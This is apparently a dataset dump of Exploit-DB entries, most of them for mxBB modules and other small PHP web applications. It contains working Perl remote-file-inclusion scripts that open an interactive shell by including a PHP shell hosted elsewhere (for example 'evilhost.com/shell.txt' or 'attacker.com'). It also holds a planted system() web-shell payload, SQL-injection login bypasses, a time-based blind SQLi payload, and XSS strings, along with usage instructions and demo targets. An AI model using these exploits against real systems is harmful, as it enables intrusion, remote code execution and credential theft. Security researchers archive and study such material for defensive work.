deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3716
Description: mxBB Module MX Shotcast 1.0 RC2 - 'getinfo1.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-12
Author: bd0rk

Exploit:
#!/usr/bin/perl
#
#mxBB Module MX Shotcast 1.0 RC2 (getinfo1.php) Remote File Include Exploit
# 
#Coded by bd0rk || SOH-Crew
#
#Usage: exploit.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, DarkFig
#
#Vulnerable Code: include_once($mx_root_path . 'common.'.$phpEx);
#
#Vendor: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=342

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'getinfo1.php?mx_root_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *mxBB Module MX Shotcast 1.0 RC2 (getinfo1.php) Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to MXShotcast ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2007-04-12]
Exploit-DB #5323
Description: mxBB Module mx_blogs 2.0.0-beta - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-30
Author: bd0rk

Exploit:
# mxBB Module mx_blogs 2.0.0-beta Remote File Include Exploit
#
# Vendor: http://www.mx-system.com
#
# Download: http://www.mx-system.com/index.php?page=4&action=file&file_id=405
#
# Vulncode in: /includes/functions_weblog.php line 24
#
# Greetz: str0ke, TheJT, rgod, Vallani, DNX, NBBN

use Getopt::Long;
use URI::Escape;
use IO::Socket;

$shellcode = "Insert the url to shell here";

main();

sub usage
{
print "\mxBB Module mx_blogs 2.0.0-beta Remote File Include Expl\n";
print "by bd0rk <www.soh-crew.it.tt>\n";
print "-t, --ttarget\t(someone.com)\n";
print "-f, --tshell\t(url to your shellcode)\n";
print "-d, --dir\t(/mx_blogs)\n";
exit;
}

sub main
{
GetOptions ('t|target=s' => \$target,'f|shell=s' => \$shell,'d|dir=s' => \$dir);
usage() unless $target;
$shellcode = $shell unless !$shell;
$url = uri_escape($shellcode);

$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$target",PeerPort=>"80") or die "\nConnection() failed.\n";

print "\nConnected to ".$target.", injecting shellcode.\n";
$sendurl = "mx_root_path=".$url."";
$sendlen = length($sendurl);
print $sock "POST ".$dir."/includes/functions_weblog.php? HTTP/1.1\n";
print $sock "Host: ".$target."\n";
print $sock "Connection: close\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".$sendlen."\n\n";
print $sock $sendurl;
print "Attempted to include shellcode, Response:\n\n";
while($recvd = <$sock>)
{
print " ".$recvd."";
}
exit;
}

# milw0rm.com [2008-03-30]
Exploit-DB #4470
Description: mxBB Module mx_glance 2.3.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-29
Author: bd0rk

Exploit:
	++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        +                                                                    +
        +    mxBB Module mx_glance 2.3.3 Remote File Include Vulnerability   +
        +                                                                    +
        +                   Discovered by bd0rk || SOH-Crew                  +
        +                                                                    +
        +                         www.soh-crew.it.tt                         +
        +                                                                    +
        +            The german Coding and IT-Security Ressource             +
        +                                                                    +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



Vendor: http://www.mx-system.com

Download: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=336


Vulnerable Code in contrib/mx_glance_sdesc.php line 89

####################################################################

include_once($mx_root_path . 'includes/mx_functions_tools.'.$phpEx);

####################################################################

[+]Exploit: http://[t4rg3t]/[p4th]/contrib/mx_glance_sdesc.php?mx_root_path=[ShellCode]


Description: The parameter $mx_root_path is not declared before include_once.

Fixtip: Declare the parameter in sourcecode or use hacking attempt.


Greetings: str0ke, TheJT, Bedrik, SkyXNet, Kirsche, Viggy, x0r_32, SecurityFocus


####The 18 years old, german Hacker bd0rk####


Contact: bd0rk[at]hackermail.com

ICQ: 249-613-511


/I am out =)

# milw0rm.com [2007-09-29]
Exploit-DB #2921
Description: mxBB Module mx_modsdb 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-12
Author: Lu7k

Exploit:
mx_modsdb v.1.0.0 (common.php) Remote Inclusion Vulnerability


**************************************************************
Critical Level : Dangerous
**************************************************************
Script Download: http://forums.phpmix.org/download.php?id=26
**************************************************************
Bugfounder: Lu7k
**************************************************************
Contact Me : www.school-of-hack.de or lu7k@mail.nu
**************************************************************

-----------------------------------------------------------------------------

Code:http://[target]/[patH]/includes/common.php?module_root_path=http://Ev!LScr!pt.txt

-----------------------------------------------------------------------------

*************************************************************
Greetings: Bdrok - TheJT - MyMaster - str0ke - 404-crew.de.vu
*************************************************************

# milw0rm.com [2006-12-12]
Exploit-DB #2885
Description: mxBB Module mx_tinies 1.3.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-02
Author: bd0rk

Exploit:
     +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
     +                                                         +
     + mx_tinies 1.3.0 (common.php) File Include Vulnerability +
     +                                                         +
     + Bugfounder: bd0rk || SOH-Crew                           +
     +                                                         +
     + Homepage1: www.soh-crew.it.tt                           +
     +                                                         +
     + Homepage2: www.school-of-hack.de                        +
     +                                                         +
     + eMail: bd0rk[at]hackermail.com                          +
     +                                                         +
     +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


 Download: http://forums.phpmix.org/download.php?id=23
 
 Exploit: http://[y0urh0st]/[paTh]/includes/common.php?module_root_path=[Ev!lScript]

 Gr33tz: TheJT, Vakum, Kacper, rgod, str0ke, pritzel

 bd0rk ---> German Hacker [white hat] :-)

# milw0rm.com [2006-12-02]
Exploit-DB #2925
Description: mxBB Module newssuite 1.03 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-12
Author: 3l3ctric-Cracker

Exploit:
#!/usr/bin/perl
#mxBB newssuite Module v1.5  --Remote File Inclusion Exploit
#Bug Found & Exploit [c]oded By Dr Max Virus
#Download:http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=17

#PoC: http://[target]/mxBB/modules/mx_newssuite/includes/newssuite_constants.php?mx_root_path=[shell]


use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
	usg()
}
header();


while()
{
print "[Shell] \$";
while (<STDIN>)
{
	$cmd=$_;
	chomp($cmd);
	
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET=>$target.'/includes/newssuite_constants.php?mx_root_path='.$shellsite='.?&'.$cmdv.'='.$cmd)or die "\n\n Failed to Connect, Try again!\n";  
$res = $xpl->request($req);
$info = $res->content;
$info =~ tr/[\n]/[&#234;]/;

 
if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}


elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/: Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}


elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};


if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[&#234;]/[\n]/;
print "\n$final\n";
last;
}

else {
print "[shell] \$";
} 
}
}
last;



sub header()
{
print q{
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
mxBB newssuite Module v1.5  -- Remote File  Include Exploit
      
Vulnerablity found by: Dr Max Virus
      
Exploit [c]oded by: Dr Max Virus        
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
}
}
sub usg()
{
header();
print q{
Usage:  exploit.pl <fullpath> <Shell Location> <Shell Cmd>
<FULL PATH> - Path to site exp. www.site.com
<shell Location> - Path to shell exp. www.evilhost.com/shell.txt
<shell Cmd Variable> - Command variable for php shell exp. id
Example:  exploit.pl http://www.site.com/[path]/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
};

exit();
}

# milw0rm.com [2006-12-12]
Exploit-DB #3018
Description: mxBB Module pafiledb 2.0.1b - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-26
Author: bd0rk

Exploit:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

mxBB Module pafileDB 2.0.1b Remote File Include Vulnerability
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Download: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=15

by bd0rk || SOH-Crew

Vulnerable Code in pafiledb_constants.php

Exploit: http://[site]/[path]/modules/mx_pafiledb/pafiledb/includes/pafiledb_constants.php?module_root_path=[Shell]

# milw0rm.com [2006-12-26]
Exploit-DB #2904
Description: mxBB Module Profile CP 0.91c - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-09
Author: bd0rk

Exploit:
###############################################################################
##                                                                           ##
## mxBB Module Profile Control Panel 0.91c Remote File Include Vulnerability ##
##                                                                           ##
## Bugfound3R: bd0rk || SOH-Crew                                             ##
##                                                                           ##
## Website: www.soh-crew.it.tt                                               ##
##                                                                           ##
## Greetz: str0ke, Lu7k, TheJT, Natok                                        ##
##                                                                           ##
###############################################################################

Download: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=70

==> Vulnerable Code in profilcp_constants.php <==

Code: include_once($module_root_path . 'includes/lang_extend_mac.'.$phpEx);

Usage: http://[y0uRSiTe]/[direct0ry]/includes/profilcp_constants.php?module_root_path=http://Sh3LL?

# milw0rm.com [2006-12-09]
Exploit-DB #2939
Description: mxBB Module WebLinks 2.05 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-16
Author: ajann

Exploit:
*******************************************************************************************
# Title   :  mxBB Module WebLinks <= 2.05(mx_root_path) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.mx-system.com
# Dork    :  /modules/mx_links/

*******************************************************************************************

[[ERROR]]]------------------------------------------------------
....
..
include_once( $mx_root_path .  'modules/mx_links/includes/mx_links_constants.php' );
....
..
[[ERROR]]]---------------------------------------------------------

Example:

//[path]/modules/mx_links/language/lang_english/lang_admin.php?mx_root_path=[shell]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-16]
Exploit-DB #29270
Description: MXBB Profile Control Panel 0.91c - Module Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-09
Author: bd0rk

Exploit:
source: https://www.securityfocus.com/bid/21520/info

The mxBB profile Control Panel module is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer in the context of the webserver process.

mxBB Profile Control Panel Module version 0.91c is vulnerable to this issue.

http://example.com/[directory]/includes/profilcp_constants.php?module_root_path=http://attacker.com
Exploit-DB #7136
Description: mxCamArchive 2.2 - Bypass Configuration Download
Type: webapps
Platform: php
Date: 2008-11-17
Author: ahmadbady

Exploit:
************************(Bypass Config Download Vulnerability)*****************

script: mxcamarchive 2.2
                   
***************************************************************************
download from:http://www.infireal.com/media/serve/106/mxcamarchive2.2.zip  
                                                                                                         
***************************************************************************
...........................................................................
expl:
                                                     
http://site.com/path/archive/config.ini

and login
http://site.com/path/admin


and add new web cam
and Description   '<pre><?@system($_REQUEST["h"]);?></body></pre>'
and save


now:
http://site.com/path/index.php?h=ls -la

***************************************************
***************************************************

Author: ahmadbady  from http://www.deltahacking.net

my mail: kivi_hacker666@yahoo.com


***************************************************

# milw0rm.com [2008-11-17]
Exploit-DB #27230
Description: My Blog 1.63 - BBCode HTML Injection
Type: webapps
Platform: php
Date: 2006-02-15
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16659/info

My Blog is prone to an HTML-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected site, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

Examples have been provided:

[img]javascript:alert(123)[/img]

[url=javascript:alert(123)]Click me[/url]
Exploit-DB #42645
Description: My Builder Marketplace 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: My Builder Marketplace Script 1.0 - SQL Injection
# Dork: N/A
# Date: 09.09.2017
# Vendor Homepage: http://scriptzee.com/
# Software Link: http://scriptzee.com/best-softwares/my-builder-marketplace
# Demo: http://mybuilderjobs.scriptzee.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/marketplace?start_date=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #40987
Description: My Click Counter 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-03
Author: Adam

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Type: Admin login bypass via SQLi
[x] Vendor: http://software.friendsinwar.com/
[x] Script Name: My Click Counter
[x] Script Version: 1.0
[x] Script DL: http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=15
[x] Author: AnarchyAngel AKA Adam
[x] Mail : anarchy[dot]ang31@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Navigate to scripts admin login page and submit ' or ''=' for username and password
it should give you access to the admin area. Enjoy >:)
Exploit-DB #30152
Description: My Databook - 'diary.php?delete' SQL Injection
Type: webapps
Platform: php
Date: 2007-06-04
Author: Serapis.net

Exploit:
source: https://www.securityfocus.com/bid/24311/info

My DataBook is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/apppath/diary.php?month=06&year=2007&day=01&delete=%27 http://www.example.com/apppath/diary.php?month=06&year=2007&day=01&delete=%00'
Exploit-DB #30153
Description: My Databook - 'diary.php?year' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-04
Author: Serapis.net

Exploit:
source: https://www.securityfocus.com/bid/24311/info
 
My DataBook is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/apppath/diary.php?Sec=diary&month=06&year=</title><ScRiPt%20%0a%0d>alert(123123123)%3B</ScRiPt>&day=01
Exploit-DB #8385
Description: My Dealer CMS 2.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-04-09
Author: ThE g0bL!N

Exploit:
-----------------------------------------------------
-----------------------------------------------------
My Dealer Cms 2.0 (auth Bypass) Remote Sql Injecion
-----------------------------------------------------
Founder: ThE g0bL!N(Dz)
Home: www.h4ckf0ru.com
Vive Algerie
# demo : http://www.mydealercms.biz/demo/

Note : Les Algerien Rasa wa Li Yekhreb Fina Basa :)
-----------------------------------------------------------
-----------------------------------------------------------
exploit
-------
http://www.mydealercms.biz/demo/admin/
username:  ' or '1=1
Password:  ' or '1=1

demo:
-----
http://www.mydealercms.biz/demo/admin/
------------------------------------------------------
------------------------------------------------------
Thanx  :
           M0nSt3r-Dz - Master_FinaL - Dr-HTmL - Super Cristal( My Master)- Hcoca_Man - Dreadful 
            Yassine_Enp- ViRuS_HaCkEr_Dz- Mr.JOoMJOoM - Naili- Str0ke - Milw0rm.com
------------------------------------------------------------------------------------
www.h4ckf0ru.com/vb/
------------------------------------------------------------------------------------

# milw0rm.com [2009-04-09]
Exploit-DB #44777
Description: My Directory 2.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-27
Author: AkkuS

Exploit:
# Exploit Title: My Directory 2.0 - SQL Injection / Cross-Site Scripting
# Dork: N/A
# Date: 27.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/my-directory/15859886
# Version: 2.0
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands
from the user search section with 'business' parameter.
Another parameter 'city', has XSS vulnerability.
====================================================

# PoC : SQLi :

Parameter: business (GET)

    Type: AND/OR time-based blind
    Demo:
http://site.com/SearchResult/result?city=test&business=test&from_type=&latitude=&image=&rating=&longitude=&place_id=
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: city=test&business=test%' AND SLEEP(5) AND
'%'='&from_type=&latitude=&image=&rating=&longitude=&place_id=

====================================================

# PoC : XSS :

  Payload :
http://site.com/SearchResult/result?city=%3E%27%3E%22%3E%3Cimg%20src=x%20onerror=alert%280%29%3E&business=test&from_type=&latitude=&image=&rating=&longitude=&place_id=
Exploit-DB #8676
Description: My Game Script 2.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-05-14
Author: ThE g0bL!N

Exploit:
---------------------------------------------------------------
------------------------------------------------------------
My Game Script V2.0 (Auth Bypass) SQL Injection Vulnerability 
---------------------------------------------------------------
Founder : ThE g0bL!N
Vendor:mygamescript.com
---------------------------------------------------------------
---------------------------------------------------------------
SQL Injection Vulnerability 
-------------------------
Exploit:
-------
http://victim/admin.php
username:[admin_name]' or '1=1
password: No Thing

--------------------------------------
Dem0
---
http://demo1.mygamescript.com/admin.php
Exploit F0r Demo
----------------
username:admin' or '1=1
password: No Thing
--------------------------------------
Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# milw0rm.com [2009-05-14]